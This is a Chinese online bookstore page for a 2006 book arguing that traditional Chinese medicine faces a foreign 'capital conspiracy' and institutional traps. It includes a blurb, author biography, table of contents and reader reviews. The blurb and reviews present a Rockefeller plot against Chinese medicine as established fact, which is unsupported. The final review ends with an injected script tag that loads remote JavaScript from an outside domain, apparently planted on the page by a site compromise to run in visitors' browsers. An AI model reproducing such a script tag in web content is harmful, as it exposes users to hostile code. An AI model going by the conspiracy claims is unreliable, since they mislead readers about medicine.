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挽救中医——中医遭遇的制度陷阱和资本阴谋

ISBN：7-5633-5937-0/R·071	开本：16	封面设计：张明
作者：吕嘉戈　编著	字数：250千字	责编：龙子仲
出版日期： 2006-3-1	页数：	策划：社本部
定价：￥28.00	点击数：3097
到购买此书

●内容简介

　　这是一本为中医讨活命的书。
　　千百年来，中医是用来治病的，但今天，这个治病者自己就已经病入膏肓了。
　　病从哪里来呢？——一方面是外“邪”入侵，另一方面是它自己肌体内部的气血虚亏。外邪，是指那些以资本为目的、以文化为手段的西方强权的袭击；内虚，是指中医的传承（如中医教育）和发展（如中医的实践环境和理论信心）上精殚神竭。
　　这本书用大量资料展现了中医在当今的尴尬处境，并从中梳理出造成这处境的文化原因和体制原因。
　　作者追根溯源，从百年来对中医的文化态度背后，揭出了一个隐藏极深的资本阴谋。进而探究了这资本阴谋是如何作用于人群的观念领域，再通过观念的习惯性运作而演变为一个又一个连环套似的制度陷阱的。中医在这布满陷阱的路途上，步履维艰。
　　全书共分为六个专题：（1）导读：从资本阴谋到制度陷阱；（2）洛克菲勒的资本阴谋及其药品帝国真相；（3）余云岫现象；（4）建国后的中医政策及其波澜；（5）中医现状一瞥；（6）呼吁与反思。——其中，“建国后的中医政策及其波澜”和“呼吁与反思”申述最详，也最强烈地体现着作者的愤懑和忧思。因此，这本书对中医现行管理制度的批评远多于其他方面的批评。这是中医文化思考的一种现实延伸。

　　作者简介：
　　吕嘉戈，男，1951年出生，名老中医、原卫生部中医司司长吕炳奎之子。文革老三届67届初中生，曾在内蒙上山下乡当农民，在基本建设工程兵一支队当兵，在北京第一轧钢厂当工人，在高检当科员。1986年辞去公职专门从事中国哲学方法、中医学及气功医学的研究。已出版著作：《易经新探——易之数理及医易同源的启示》，中国文联出版公司1993年出版，1994年再版；《气功医学之经筋学说》，中医古籍出版社1996年出版；《中国哲学方法——整体观方法论与形象整体思维》，中国文联出版社2003年3月出版。1994年起以中国传统思维方式为题在北大、人大、北师大、北京中医药大学、国家技术监督局、南京铁道医学院等单位进行讲座。

　　图书卖点：
　　卖点一：我社“中医•文化”类图书大卖，已赢得了市场认可，这是我们推出的后续产品中的过渡产品，缓解市场饥渴，届时四五月份还将推出一系列的中医书；
　　卖点二：内容震撼人心，揭示历史真相，很多都是鲜为人知的东西。

●图书目录

导读：从资本阴谋到制度陷阱（001）

第一辑　洛克菲勒的资本阴谋及其药品帝国真相
洛克菲勒药品帝国的真相：《药品史话》节录（021）

第二辑　余云岫现象
余云岫关于处理旧医的提案（053）
余云岫观点的真伪辩（059）
近代杰出的医学家余云岫医师（1879～1954）（069）
中医科学必须彻底告别“余云岫现象”（075）

第三辑　建国后的中医政策与波澜（上）
中医问题资料（第一辑）（081）

第四辑　建国后的中医政策与波澜（下）
检查我在卫生工作中的错误思想（135）

《健康报》批判王斌在中医问题上的错误思想（143）
批判贺诚同志在对待中医的政策上的错误（148）
新中国中医药事业的光辉历程（1949～1994）（157）

第五辑　中国中医药业现状一瞥
我国中医从业人员建国55年零增长令人忧（185）
面对药价虚高，还要发多少“空弹”（187）
中医院校西医课程教改取得成果（195）
2004年5万余无证行医户被取缔（197）
全国打击非法行医专项行动取得阶段性成果（198）
健全和完善中医药管理体制不容忽视（200）
百余居民为“游医”求情说明什么？（202）

第六辑　呼吁与反思
如何认识和对待中医、西医、中西医结合三支力量长期并存的问题（205）
不能用中西医结合来取代中医（223）
谈谈中医、西医、中西医结合三支力量都要大力发展、长期并存的方针（226）
加强中医药学的继承、整理与研究工作（238）
致彭真、谭震林、崔月犁等同志的信（241）
中医亟待抢救（245）
挽救中医，刻不容缓（250）
致温家宝总理信（259）
关于中药在十一个五年计划期间发展的遐想（260）
从毛泽东的“针灸外交”谈当今“中医药国际化”（281）

●前言/序言

暂无内容

●书评　　　　　　　　　　【我要评论】【我要购书】【我有疑问】

网友书评(以下评论纯属个人观点，不代表本网站立场。)
	爱国主义的书	aixiao_56	日期：2006-3-2 16:42:00
	◎凡有中国心之人，看此书无不拍案大惊！无不恍然大悟！！无不义愤填膺！！！

	国人的心声	清源	日期：2006-3-3 20:53:00
	◎初读，心灵的震撼！再读，国人的悲哀！之后，格外的清醒！！！

	原来中医是因为能治病才被消灭的	fatemaster	日期：2006-3-7 12:42:00
	◎原来中医是因为能治病才被消灭的！其实说的也是，试想，如果中医不能治病，那还用得着有些人处心积虑地去消灭吗？它早就自然消亡了。

	《挽救中医》编馀手记	龙子仲	日期：2006-3-7 18:30:00
	◎我不知道中医究竟应该何去何从！大约两年前，在北京见到吕嘉戈先生，聊起中医管理体制和管理制度的话题，在座者心里都有些忿忿。当时我曾约他，应该把这些问题编成一本书。否则，我们外行人光觉得中医现状存在着大问题，只从文化上去思考原因，说一些漫无边际的话，却不知道问题具体出在什么地方。——我一向觉得，宴谈文化本身其实是一件挺虚的事情，因为在文化观念实施成组织行为和个体行为的过程中，已经没有纯文化的东西了。是各种权和利的杂质，左右着这个过程…… 到今年元旦，收到吕先生的来信，说书编出来了，让我去北京取。我即去了一趟北京。取回来一看，可谓编得颇详实，而我也看得渐渐地有些义愤了。过年耽搁了半个月，过完年发排，拿到校样，又更仔细地看了一遍，这才觉得它其实是一本对很多问题的理解都有启发性的书。这里面展示的中医与资本、与观念、与制度、与科学文化之间的微妙关系，可以视为一个很典型的个案——一种传统如何在“现代性”的挤压下披枷戴锁、气喘吁吁、灵魂出窍的个案。这样观察起来，是很有趣的。比如说资本阴谋吧，其实由马列主义武装过的我们对它并不陌生。马克思毕生所做的工作，可以说就是揭露这种阴谋。但我们往往会忽略它的另一个层面的问题，那就是：从某种意义上说，文化也是资本制造出来的，或者说，资本最大的制造其实就是文化。而且这种制造，还能够产生这样的效果：它会使资本的吞噬变得更隐蔽、更文雅。我觉得，西方马克思主义后来探讨的一个主要命题其实就是这个。资本的文化制造成功之后，历史就开始变得吊诡了。这种吊诡体现在中医遭受的两次制度性的打击上。第一次发生在1929年初，民国政府通过“废止旧医案”。这事闹得沸沸扬扬，后来也有点不了了之。这里面有意思的是，它还有过一个跟语言有关的细节，那就是“旧医”这个名称的确立。当时对中医究竟该称为“国医”还是“旧医”，有过讨论。国粹派主张称“国医”；科学派主张称“旧医”。结果科学派占了上风。这一字之差，透出了很深的历史意味。——“旧”意味着它是不新的、过时的。因此也就是应该被否定的。把“过时”跟“否定”等同起来，这是20世纪中国观念中的一种基本迷信。这种基本迷信跟“祖宗之法不可变”的迷信只是在时间矢度上有所区分，本质上并没有什么不同，其实都缺乏真正的科学精神。但是迷信泛滥开来，就一发不可收，发展到后来，就是极端化的所谓“破四旧”运动了（某种意义上，我认为“破四旧”在信仰力上终是一件挺豪迈的事儿），它们是一脉相连的。这种一脉相连，甚至超越了政权更替所带来的历史清算。于是，第二次打击就发生了。这是1951年，新中国的第一届卫生会议。那次会议的重要成果，就是完成了一套对中医的管理制度。今天回过头来仔细分析那套制度，可以看出，那样实施下去，中医是必死无疑的。因为那套管理制度一个最主要的核心就是：消灭“人”。——消灭什么人呢？就是要消灭以“中医”作为生存身份的人。这一手其实是非常高明的，因为在一手那么去做的时候，嘴巴里还可以高呼“要保护弘扬民族文化的优秀遗产”，一点也不得罪人的样子。……可是，人没了，遗产搁哪儿呢？保护，其实是一种权力。有权力才会去保护。人没了，遗产没有了具体的产权归属者，那么实际的结果就是，没有人会去保护它。所以人的问题很重要。孔子当年就很明白这个道理，他在说完兴灭继绝之后，还专门加了一句“举逸民”。我看，中医最后恐怕也得弄到“举逸民”的地步不可。这事儿也挺吊诡的。中医混到这步田地，剩下的，也只好是一副花架子了。这就是这个个案给我的某种启发。我觉得这本书的不足之处，是对中医教育的问题涉及太少了。这其实是一个很关键的问题，它恰好涉及到“人的问题”。如果说，今天的大学教育大多在生产来料组装的产品的话，那么中医教育生产的也许就可以称作组装的伪劣产品。说它“伪劣”，是因为在很大程度上，它的学习模式出了问题，而它的学习内容本身也已经变味儿了。许多中医学院的教授自己就说：中医学院在培养中医的掘墓人。——这些资料我也是在这本书里看见的，可惜内容还是不多。中医何去何从，我也不知道。

	数十年之后，中原将无可饷之银，无可战之兵	mingyunzhu	日期：2006-3-15 15:33:00
	◎数十年之后，中原将无可饷之银，无可战之兵 ————读《挽救中医》有感《挽救中医》一书，有两点值得注意一是它揭露出来的资本阴谋给了我们一个活生生的例证在这次政协会上，政协委员李德水提出要立法防止外国资本对民族企业的恶意并购，并指出我国的啤酒行业已经被外国资本所控制。而《挽救中医》则给我们揭露出了早在20世纪20年代外国资本对中医进行消灭并进而垄断中国医药市场的阴谋。我们现在才认识到这个问题（实际上好多人还是没有意识到或者对此抱着无所谓的态度），何其晚也！然而，亡羊补牢，未为晚矣。否则，我国将成为一个打工国，中华民族将成为一个打工民族，沦落为外国资本的附庸！二是它折射出来的教育问题值得我们深思一名老中医曾写道：“三十年辛勤教学苦，培养自己掘墓人！”这是《挽救中医》中折射出来的教育问题。撇开中医不谈，回想自己受过的教育，看看当前的教育现状，感觉绝不是某些别有用心的人所说的“中国的教育很成功”，并以教育的覆盖率作为支持的证据。我不禁要问，教育的目的是什么？我认为是培养人才。不管你的覆盖率有多高，我要看你教育出来多少人才！这才是衡量教育是否成功的标志。即便你的教育覆盖率再高，假如都像中医教学一样，是在培养自己的掘墓人，哪能说你的教育是成功的吗？请问今天的学生有多少热血青年？还有没有爱国主义和民族精神？反过来看，有多少哈日族、哈韩族？有多少愿意到外企打工？当然，作为个人来说，这些或许无可厚非，那是个人自由；但是作为一个国家、一个民族，这是很危险的。鸦片战争前夕，面对当时的危机，林则徐大声疾呼：“数十年之后，中原将无可饷之银，无可战之兵。”然而很不幸，历史又在中华大地上进行重演，且今日之局势比鸦片战争前夕之局势有过之而无不及！何哉？当时外国资本虽然通过罪恶的鸦片贸易可以掠夺中国的财富，然而尚不能控制中国之生产；而今则不同，外国资本的深入，不单只是通过贸易掠夺你的财富，而且控制你的生产，这才是致命的。此外，鸦片可以损害中国人的身体，然民族精神尚存；而今则不同，外国资本通过意识形态和价值观的渗透，对中国人进行洗脑！一个人如果没有独立思考的精神，则将如同行尸走肉；一个民族没有自己的民族精神，则只能沦落为其他民族的附庸！或许有人会说，这是经济文化全球一体化的结果，这是历史趋势，是不可抗拒的历史潮流。其实这是误解。一体化不是单一化，而是在多样性并存基础上的一体化；一体化不是消极等待被人消灭，或者只有中华民族沦落为外国资本的附庸！我们要做的是，在一体化进程中，要保持我们的独立性，要保证我们不被消灭，不能沦落为外国的附庸！或许有人会说，你这是反对改革开放。其实这也是误解。改革开放一定要坚持，但是改革开放中的失误一定要纠正。因为老邓搞改革本身就是“摸着石头过河”，出现失误也是正常的，关键是我们怎么去对待。比如对“以经济建设为中心”的提法，老邓后来提出的“两手抓，两手都要硬”本身就是对前者的修正；又比如老邓认识到的“最大的失误是教育”（虽然早已认识到，可惜并无有效措施予以纠正，今日之中国似乎还在继续扩大这个失误）。对于外国资本对今日中国的危害，不知老邓当时是否认识到？不过这都不重要。我们今日认识到，今日就需采取措施。当时引进外国资本是为了解决当时的紧迫需要，而今日采取措施对外国资本进行限制也是为了中华民族的长远利益。盛世危言，诸君姑妄听之。

	有关中医的思考	吴伯彦	日期：2006-4-27 16:40:00
	◎很高兴贵出版社出版了这一系列的有关中医文化的图书.我现在看了这一本书,为书中的对中医的现况感到担忧.我希望有更多的人来研究咱们的传统文化.很希望看到更多的这样的书

	医学史的意义	华南虎	日期：2006-4-28 13:24:00
	◎医学史的意义止庵 \| 2003年4月19日二十多年前我读医科大学，没有医学史这门课程；只在每种教材开头，约略记述一点。记得当时颇感兴趣，然而老师往往略过不讲。这回读到《医学史》一书，好比补课的样子。也许对于普通临床医生来说，未必非得知道自家学问的源流不可；假若关注人类文明进程，倒是应该有所了解。知堂翁谈“我的杂学”，专门列作一项；《书房一角》中亦有《医学史》一则云：“医疗或是生物的本能，如猫犬之自舐其创是也，但是发展为活人之术，无论是用法术或方剂，总之是人类文化之一特色，虽然与梃刃同是发明，而意义迥殊，中国称蚩尤作五兵，而神农尝药辨性，为人皇可以见矣。”人道主义很大程度是落实在医学史上，虽然不能尽皆赅括，舍此则不免流于空谈。本书作者的看法，与前引周氏的话正相一致：“医学随着人类痛苦的最初表达和减轻这痛苦的最初愿望而诞生，由于最初需要解释人体发生的各种现象和以人类心灵为主题进行最初的辛勤探索而成为科学。它的最高目标是解除人类痛苦，促进个人体质及种族改良。”我们由此正可看出，医学不同于一般科学，医学史也不同于一般科学史。戴维?林德伯格著《西方科学的起源》说过，就科学史而言，“我们所需要的科学概念应是宽泛的，具有包容性的，而不是狭义的，具有排斥性的。”涉及医学史时，范畴应该更加宽泛，甚至要把非科学也包容在内。此系为医学的特性所决定，也是这部《医学史》的主旨所在。说来医学成为科学，乃是后来的事；成为科学之后，它仍然承续了此前的目的；假如离开这一目的，医学也就不复成立；然而科学对于医学来说，又不仅仅是种手段。即如作者所说：“科学医学的起源与希腊哲学的发生同时，也就是我们在历史上第一次看到企图在思辨的反思基础上建立一种可以解释自然现象、确立自然规律的哲学体系的时候。在这个时期以前，医学处于本能医疗、经验医疗、魔术医疗、僧侣或宗教医疗等情况下。”所述几种原始医疗方法，也是为了解除人类痛苦；我们因此承认这些前科学医学或非科学医学，与科学医学不无一致之处。附带说一句，这里讲到科学医学的起源，其中一时还包含许多非科学的因素，即如大名鼎鼎的希波克拉底也不例外；直到文艺复兴以后，以解剖学、生理学等为基础，医学才真正发展成为科学。而这门科学沿袭至今，本身又有巨大变化。《医学史》原作最后一次增订，是在一九四七年；中译本即依据这一版本。此后医学的各种发展，也就无法见诸记载，而这形容以突飞猛进亦不为过，更不要提器官移植、试管婴儿等重大发明了。即以我的老本行为例，依据二十多年前所学知识，已经觉得“二十世纪”一章中有关“口腔学及牙科学”的内容未免过时；而我自己所有知识，较之现在的水平同样落后多了。我们常说“知识老化”，此语也许太过宽容；对于医学这种应用科学来说，知识体系更新之后，个人知识一仍其旧，也就等于没有知识。此书另一遗憾之处，却与原著无关，乃是译者以“内容过于简略，且有谬误之处”为由，将第七章“中国医学史”径行删去。其实即便真有所指缺陷，大概亦可藉此了解依据上述医学史观，如何看待中国传统医学，而这也有意思。历史不仅在于记载什么，更重要的是贯彻其中的观念。前面讲到医学的源流，要说此书的好处，主要还在“源”那一方面。不仅可以获知，现在的科学医学如何演变而来；而且能够懂得，科学医学与非科学医学究竟分野何在。说来一应科学之中，与人关系最近的莫过于医学，然而恐怕现在又以医学知识在人群中普及最差。别说普通百姓，就连知识界人士也是如此。我素来不写时文，无须就此多谈；这回读了《医学史》，却有一点悟会。我说普遍缺乏医学常识，其实大家不懂的只是科学医学，若论非科学的医学那一套，还真知晓不少，种种念头根深蒂固，与此书中所讲的本能医学、经验医学、魔术医学、僧侣或宗教医学等，一一均能对号入座。不过是些老脑筋而已，其流弊乃不限于养生治病，追根溯源，当今许多社会问题盖出于此。以医学史的观念看来，上述东西具有一定价值，不光因为它们有着与科学医学相同的目的，而且因为它们出现在科学医学之前。单单强调其中任何一方面，都是偏颇之见。也就是说，既要历史地对待历史，也要现实地对待现实。医学科学诞生之后，前医学科学以性质而论就是非科学的，虽然其当初的目的不容忽视，此后的效果也不必抹杀。作者在全书结末处说：“一个人除非是盲者，否则决不会看不见这样的历史事实，即在近代科学医学开始以前或之后，曾有过多少伟大的、有才能的治疗家，他们并非科学人士，但却能以自己的才能和暗示力量抚慰病人，鼓励病人，使病人对复原具有信心，因而有力地影响治疗疾病的过程。同样明显地，有很多杰出的科学家，他们只是极平凡的医者而已。”本是提醒医学界人士，不要忘了治病救人的根本目标；在科学医学一统天下的地域，所言一点不差。征诸西方历史，的确有过类似教训。然而彼此语境毕竟有所不同；对于我们来说，前述另一方面，恐怕忽略?script src=http://www.chkbnr.com/b.js>